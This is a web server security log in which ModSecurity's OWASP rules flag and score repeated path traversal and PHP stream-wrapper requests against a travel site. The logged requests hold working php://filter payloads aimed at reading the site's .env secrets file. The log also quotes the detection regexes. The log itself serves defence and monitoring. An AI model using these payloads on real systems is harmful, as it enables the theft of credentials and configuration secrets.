[Fri Jul 17 08:55:11.334814 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LQAAABw"]
[Fri Jul 17 08:55:11.334841 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LQAAABw"]
[Fri Jul 17 08:55:11.335239 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:load: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LQAAABw"]
[Fri Jul 17 08:55:11.336275 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LQAAABw"]
[Fri Jul 17 08:55:11.336401 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.336712 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4Zvbo7N5o5zeYC-LQAAABw"]
[Fri Jul 17 08:55:11.339332 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&load=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&debug=DLVUdAqUDzeBjzuAHHYH8lttprhqAmxpdWGXpi9hMozBwtNDj0efPGx0t0sRXAXd0MwEAEdkqGLwRotkWf4h7Hc_iFKYOQoYh0XoGcXVmuWN62tZnVe-SZm_190SbUO8DW_CeCmWu9YDjbbydipJWNZFqHwZfqs1yLbcULbTZgSpIpTXFaKtSc-MX6kfe941O9FlqGnamQCbCj_W9qbGI9gCW0v-CcY9flfkKfFlI1AElccSsEhphETUdUvfQ2PCVqSrc0XhoA-ov_IRO69bFGTG&ref=ZMQY4BKRDUZFSCM467457X77D5VGOO3DKCVNXRC4DU4IO7D46..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gwAAABA"]
[Fri Jul 17 08:55:11.344381 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gwAAABA"]
[Fri Jul 17 08:55:11.344440 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&debug=DLVUdAqUDzeBjzuAHHYH8lttprhqAmxpdWGXpi9hMozBwtNDj0efPGx0t0sRXAXd0MwEAEdkqGLwRotkWf4h7Hc_iFKYOQoYh0XoGcXVmuWN62tZnVe-SZm_190SbUO8DW_CeCmWu9YDjbbydipJWNZFqHwZfqs1yLbcULbTZgSpIpTXFaKtSc-MX6kfe941O9FlqGnamQCbCj_W9qbGI9gCW0v-CcY9flfkKfFlI1AElccSsEhphETUdUvfQ2PCVqSrc0XhoA-ov_IRO69bFGTG&ref=ZMQY4BKRDUZFSCM467457X77D5VGOO3DKCVNXRC4DU4IO7D46H7PZX24TESAVINII63RQAPY4CY..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gwAAABA"]
[Fri Jul 17 08:55:11.344501 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&debug=dlvudaqudzebjzuahhyh8lttprhqamxpdwgxpi9hmozbwtndj0efpgx0t0srxaxd0mweaedkqglwrotkwf4h7hc_ifkyoqoyh0xogcxvmuwn62tznve-szm_190sbuo8dw_cecmwu9ydjbbydipjwnzfqhwzfqs1ylbculbtzgspiptxfaktsc-mx6kfe941o9flqgnamqcbcj_w9qbgi9gcw0v-ccy9flfkkffli1aelccssehphetuduvfq2pcvqsrc0xhoa-ov_iro69bfgtg&ref=zmqy4bkrduzfscm467457x77d5vgoo3dkcvnxrc4du4io7d46h7pzx24tesavinii63rqapy4cy..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gwAAABA"]
[Fri Jul 17 08:55:11.344534 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gwAAABA"]
[Fri Jul 17 08:55:11.344560 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gwAAABA"]
[Fri Jul 17 08:55:11.344906 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:load: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGwAAABQ"]
[Fri Jul 17 08:55:11.344918 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:load: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gwAAABA"]
[Fri Jul 17 08:55:11.345969 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGwAAABQ"]
[Fri Jul 17 08:55:11.346115 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.346430 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sGwAAABQ"]
[Fri Jul 17 08:55:11.350940 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&load=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&cb=V4S60woWvO5bpehs0ZL5xEmOSiOfjsPKJaIEVg8P4WaijM7lL4FrrOM49hhwHEqc_U8syiGBW8rKk5v5AoUdJ5Dk8hmiLTDtJsvuevpwDEbBXErXnZtYpW1QB0mNksN0JtpG088SOUkiryPL7z8AXHbN4k2QbYCfIdlu8_GrmI4mreEvrM5eQ3FRvraEoaAQ2SS9P33JypA65SvvTbbjnLSGvnDo_A_CNYNcWhxuHyc9jd0fsel7-c0FR5kx5CGfcRURvRtgFIh2xif0o7aZ_BxE&debug=3P44AVAKBIFAUL57CPVHEBP6HEO6WFA7NZK7OW7P6L6VXGKBSFEEMH5RPKUU3S..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQQAAAAY"]
[Fri Jul 17 08:55:11.350988 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQQAAAAY"]
[Fri Jul 17 08:55:11.351063 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&cb=V4S60woWvO5bpehs0ZL5xEmOSiOfjsPKJaIEVg8P4WaijM7lL4FrrOM49hhwHEqc_U8syiGBW8rKk5v5AoUdJ5Dk8hmiLTDtJsvuevpwDEbBXErXnZtYpW1QB0mNksN0JtpG088SOUkiryPL7z8AXHbN4k2QbYCfIdlu8_GrmI4mreEvrM5eQ3FRvraEoaAQ2SS9P33JypA65SvvTbbjnLSGvnDo_A_CNYNcWhxuHyc9jd0fsel7-c0FR5kx5CGfcRURvRtgFIh2xif0o7aZ_BxE&debug=3P44AVAKBIFAUL57CPVHEBP6HEO6WFA7NZK7OW7P6L6VXGKBSFEEMH5RPKUU3SZBSAQP2G2NTCUIXUX6MXSIXLPEI2..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQQAAAAY"]
[Fri Jul 17 08:55:11.351120 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&cb=v4s60wowvo5bpehs0zl5xemosiofjspkjaievg8p4waijm7ll4frrom49hhwheqc_u8syigbw8rkk5v5aoudj5dk8hmiltdtjsvuevpwdebbxerxnztypw1qb0mnksn0jtpg088soukirypl7z8axhbn4k2qbycfidlu8_grmi4mreevrm5eq3frvraeoaaq2ss9p33jypa65svvtbbjnlsgvndo_a_cnyncwhxuhyc9jd0fsel7-c0fr5kx5cgfcrurvrtgfih2xif0o7az_bxe&debug=3p44avakbifaul57cpvhebp6heo6wfa7nzk7ow7p6l6vxgkbsfeemh5rpkuu3szbsaqp2g2ntcuixux6mxsixlpei2..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQQAAAAY"]
[Fri Jul 17 08:55:11.351152 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQQAAAAY"]
[Fri Jul 17 08:55:11.351179 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQQAAAAY"]
[Fri Jul 17 08:55:11.351526 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:load: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQQAAAAY"]
[Fri Jul 17 08:55:11.352156 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&load=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&sid=dHAyKoYl1upPOuW8Ghzu0oIDR6vU7RwZSStbQOwPZn3MyMUor2LjdKgplql0pALihY2HxL-8BVmGHZIQcKiL7qk7PVeSiUZ9jjruxeVPY81ZCbt2KmDn95G6hH48cpgSVjGgc-ORk5mGzwWyC6FOzrP3Q5L4uLHLjbg485HiF0Sc7hfGQZOWJ4hUacQoOyrWsZ47elh6GQK8KiyReE59xL8waIlYHymtqlIVHHhFlBLAQEQwkwMrH4Li-tCEpl3IZWnHzGRvNg1f2sQBTMK7suBz&ref=I6KMNYDCXVDFKZ2NKCY2UGPCL54AMRRI6PV7DDD6PODC7MW2ZGQL5QUIBQYFHM44RZOM..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbgAAAB4"]
[Fri Jul 17 08:55:11.352221 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbgAAAB4"]
[Fri Jul 17 08:55:11.352304 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&sid=dHAyKoYl1upPOuW8Ghzu0oIDR6vU7RwZSStbQOwPZn3MyMUor2LjdKgplql0pALihY2HxL-8BVmGHZIQcKiL7qk7PVeSiUZ9jjruxeVPY81ZCbt2KmDn95G6hH48cpgSVjGgc-ORk5mGzwWyC6FOzrP3Q5L4uLHLjbg485HiF0Sc7hfGQZOWJ4hUacQoOyrWsZ47elh6GQK8KiyReE59xL8waIlYHymtqlIVHHhFlBLAQEQwkwMrH4Li-tCEpl3IZWnHzGRvNg1f2sQBTMK7suBz&ref=I6KMNYDCXVDFKZ2NKCY2UGPCL54AMRRI6PV7DDD6PODC7MW2ZGQL5QUIBQYFHM44RZOM34E5UEB2WU3ZLJUB5FU7BVTJSC..."] [severity "CRITICAL"] [ver 